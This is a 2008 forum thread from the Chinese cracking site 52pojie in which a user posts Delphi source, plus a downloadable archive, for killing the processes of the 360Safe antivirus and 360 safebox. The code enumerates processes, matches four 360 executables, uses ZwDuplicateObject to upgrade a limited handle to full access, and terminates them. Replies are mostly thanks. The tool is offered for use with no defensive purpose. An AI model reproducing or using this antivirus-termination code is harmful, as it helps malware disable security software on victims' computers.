吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 12857|回复: 39
收起左侧

[其他转载] 结束360Safe和360保险箱进程 For Delphi

[复制链接]
zzage 发表于 2008-11-19 22:14
结束360Safe和360保险箱进程
 
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,TlHelp32;
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
 function ZwDuplicateObject( SourceProcessHandle,SourceHandle ,TargetProcessHandle ,TargetHandle,DesiredAccess ,HandleAttributes,Options: LongInt):LongInt stdcall; external 'NTDLL.DLL' name 'ZwDuplicateObject';
implementation
{$R *.dfm}
procedure Kill360();
const
Safepro:array[1..4] of PChar =('safeboxTray.exe','360Safe.exe','360safebox.exe','360tray.exe');
var
  ContinueLoop      : BOOL;
  FSnapshotHandle   : THandle;
  pe   : PROCESSENTRY32;
  ProcessHandle:Longint;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize:=SizeOf(PROCESSENTRY32);
if (Process32First(FSnapshotHandle,pe)) then
begin
  while  (Process32Next(FSnapshotHandle,pe)) do
  begin
    if (UpperCase(ExtractFileName(pe.szExeFile))=UpperCase(Safepro[1])) or (UpperCase(ExtractFileName(pe.szExeFile))=UpperCase(Safepro[2])) or (UpperCase(ExtractFileName(pe.szExeFile))=UpperCase(Safepro[3])) or (UpperCase(ExtractFileName(pe.szExeFile))=UpperCase(Safepro[4]))  then
    begin
      ProcessHandle:=OpenProcess($400, False,pe.th32ProcessID);
      ZwDuplicateObject(-1, ProcessHandle, -1, Integer(@ProcessHandle), $1F0FFF, 0, 1);
      TerminateProcess(ProcessHandle,0);
    end;
  end;
end;
CloseHandle(FSnapshotHandle);
End;
procedure TForm1.Button1Click(Sender: TObject);
begin
Kill360();
end;
end.

杀360+保险箱.rar

164.16 KB, 下载次数: 126, 下载积分: 吾爱币 -1 CB

完整代码

免费评分

参与人数 1威望 +2 收起 理由
Squn + 2 delphi滴 太好啦~~

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

ps520 发表于 2008-11-22 14:55
......有E语言版么



我不用DELPHI的额.





顶一个!
Tale 发表于 2008-11-22 15:35
heiye88 发表于 2008-11-23 08:09
小子贼野 发表于 2008-11-24 21:42
俺穷人哇~:Q
lvvv 发表于 2008-11-25 13:34
支持hao 东西,没钱下载啊
pcfans 发表于 2009-2-17 23:59
下个学习学习,delphi学习中……
ps520 发表于 2009-2-22 23:51
:( 留点钱买糖~~`
oopww 发表于 2009-2-28 17:08
支持中·····
oopww 发表于 2009-2-28 17:08
支持中·····
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-15 12:30

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表